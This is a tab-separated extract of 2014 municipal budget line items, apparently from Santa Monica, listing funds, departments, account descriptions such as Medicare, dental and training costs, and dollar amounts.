6196	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2014	6051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6051.0
6197	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
6198	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	9205.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9205.0
6199	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	11269.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11269.0
6200	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	33847.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33847.0
6201	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	16641.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16641.0
6202	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2014	14161.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14161.0
6203	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	998.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	998.0
6204	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	56978.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	56978.0
6205	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401007.0	SWIM CENTER-SEMI-PRIVATE LESSO	612.0	Charges for Service	2014	-85832.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-85832.0
6206	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	408000.0	INTERFUND SERVICES-POLICE OSE	612.0	Charges for Service	2014	-1171649.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1171649.0
6207	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	533670.0	IMAGING COSTS	816.0	 Supplies and Expenses	2014	3048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3048.0
6208	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	3563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3563.0
6209	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	509.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	509.0
6210	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	2778.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2778.0
6211	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	47747.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47747.0
6212	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	7638.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7638.0
6213	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	223438.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	223438.0
6214	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144.0
6215	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	543.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	543.0
6216	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	2359.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2359.0
6217	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
6218	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	24155.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24155.0
6219	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2014	556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	556.0
6220	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577580.0	BEACH / PIER REIMBURSEMENT	810.0	 Supplies and Expenses	2014	162285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	162285.0
6221	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2014	376.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	376.0
6222	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401610.0	LIBRARY CAFE RENT	618.0	Rentals	2014	-40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-40000.0
6223	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	401100.0	VIDEO ARCHIVE/WEB HOSTING SVC	612.0	Charges for Service	2014	-6670.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6670.0
6224	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	36063.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36063.0
6225	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511749.0	VISION	804.0	Salaries and Wages	2014	556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	556.0
6226	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	19586.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19586.0
6227	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511749.0	VISION	804.0	Salaries and Wages	2014	1529.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1529.0
6228	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	201952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	201952.0
6229	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	19081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19081.0
6230	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	7875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7875.0
6231	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	646371.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	646371.0
6232	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EAP	804.0	Salaries and Wages	2014	818.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	818.0
6233	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EAP	812.0	Salaries and Wages	2014	1096.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1096.0
6234	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EAP	812.0	Salaries and Wages	2014	2292.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2292.0
6235	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	2383.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2383.0
6236	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	17447.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17447.0
6237	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EAP	816.0	Salaries and Wages	2014	1144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1144.0
6238	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DCAP	816.0	Salaries and Wages	2014	780.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	780.0
6239	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	19290.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19290.0
6240	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	7742.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7742.0
6241	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	58232.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	58232.0
6242	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	3306.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3306.0
6243	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		UNEMPLOYMENT	806.0	Salaries and Wages	2014	50217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50217.0
6244	BA	IS	1	General Fund	310	FIRE	315	TRAINING		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	534.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	534.0
6245	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2014	4312.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4312.0
6246	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EAP	808.0	Salaries and Wages	2014	518.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	518.0
6247	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EAP	808.0	Salaries and Wages	2014	618.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	618.0
6248	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2014	4585.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4585.0
6249	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2014	2806.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2806.0
6250	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	3932.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3932.0
6251	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	108498.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	108498.0
6252	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511748.0	DENTAL	840.0	Salaries and Wages	2014	7434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7434.0
6253	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2014	15129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15129.0
6254	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2014	42160.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42160.0
6255	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
6256	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
6257	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	1230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1230.0
6258	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	11650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11650.0
6259	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	321826.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	321826.0
6260	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		UNEMPLOYMENT	808.0	Salaries and Wages	2014	8349.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8349.0
6261	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	5468.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5468.0
6262	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522620.0	RENT	808.0	 Supplies and Expenses	2014	107108.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107108.0
6263	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	10430.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10430.0
6264	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405221.0	PYMT-MAIN ST-LIGHTS & SIDEWLK	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6265	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	700.0
6266	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	14140.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14140.0
6267	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2014	14825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14825.0
6268	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	39538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39538.0
6269	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	901.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	901.0
6270	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	420.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	420.0
6271	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	139.0
6272	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5186.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5186.0
6273	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	-200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200.0
6274	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
6275	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
6276	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	3280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3280.0
6277	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	1296.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1296.0
6278	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2070.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2070.0
6279	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	7211.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7211.0
6280	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511749.0	VISION	840.0	Salaries and Wages	2014	1928.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1928.0
6281	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	29433.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29433.0
6282	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2014	28067.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28067.0
6283	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	170442.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	170442.0
6284	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	120261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	120261.0
6285	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	405200.0	VIDEO PRODUCTION SERVICE	612.0	Charges for Service	2014	-10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10000.0
6286	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	405590.0	CABLE FRANCHISE FEES	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6287	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	110698.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	110698.0
6288	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	66378.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	66378.0
6289	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	6938.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6938.0
6290	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	9277.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9277.0
6291	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	49737.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49737.0
6292	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	7651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7651.0
6293	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401002.0	SWIM CENTER-REC/LAP SWIM	612.0	Charges for Service	2014	-204809.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-204809.0
6294	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401009.0	SWIM CENTER-AQUATIC SUPPLIES	612.0	Charges for Service	2014	-10558.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10558.0
6295	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	666.0
6296	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561404.0	PROJECT HOMECOMING		 Supplies and Expenses	2014	35893.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35893.0
6297	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
6298	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		UNEMPLOYMENT	816.0	Salaries and Wages	2014	10833.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10833.0
6299	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2014	278050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278050.0
6300	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402120.0	AIRPORT - OFFICE / SHOP RENTAL	650.0	Charges for Service	2014	-1826174.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1826174.0
6301	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	52106.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52106.0
6302	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	98928.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	98928.0
6303	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2014	2166.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2166.0
6304	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	111523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	111523.0
6305	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522930.0	VEHICLES - TIRES / TUBES		 Supplies and Expenses	2014	627.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	627.0
6306	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	50952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50952.0
6307	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	6587.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6587.0
6308	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577220.0	INTRST EXP-BONDS & OTHR LOANS		 Supplies and Expenses	2014	530170.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	530170.0
6309	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588200.0	BLDG RENOVATION / MAINTENANCE		 Supplies and Expenses	2014	62730.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62730.0
6310	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511490.0	OVERTIME	804.0	Salaries and Wages	2014	4969.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4969.0
6311	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	20464.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20464.0
6312	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	9674.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9674.0
6313	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407910.0	CAP GRNTS - PRP 1B SECURITY	657.0	Capital Grants	2014	-516483.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-516483.0
6314	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	17494.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17494.0
6315	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
6316	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	550.0
6317	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
6318	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	560010.0	SCADA O & M	804.0	 Supplies and Expenses	2014	30000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30000.0
6319	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
